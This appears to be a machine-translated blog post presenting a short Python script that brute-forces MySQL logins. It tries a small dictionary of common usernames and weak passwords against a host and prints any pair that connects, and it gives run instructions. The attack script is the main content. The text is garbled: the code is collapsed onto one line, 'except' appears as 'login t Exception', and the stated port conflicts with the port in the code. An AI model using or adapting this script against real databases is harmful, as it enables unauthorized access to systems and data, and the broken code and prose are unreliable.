Python Mysql brute-force cracking script and pythonmysql brute-force cracking
Mysql pythonplug-in is installed with mysql-python.exe. You can see that the amount of code is very small. (Note: the username and password are similar to the dictionary. Usage: Save the code as MysqlDatabaseBlasting. py. Run cmd to switch to the MysqlDatabaseBlasting. py path and execute MysqlDatabaseBlasting. py to start cracking)
Import MySQLdb # coding = gbk # target IP address mysql database must be enabled 3360 remote login port mysql_username = ('root', 'test', 'admin', 'user ') # account dictionary common_weak_password = ('', '000000', 'test', 'root', 'admin', 'user ') # password dictionary success = Falsehost = "127.0.0.1" # Database IP address port = 3306for username in mysql_username: for password in common_weak_password: try: db = MySQLdb. connect (host, username, password) success = True if success: print username, password login t Exception, e: pass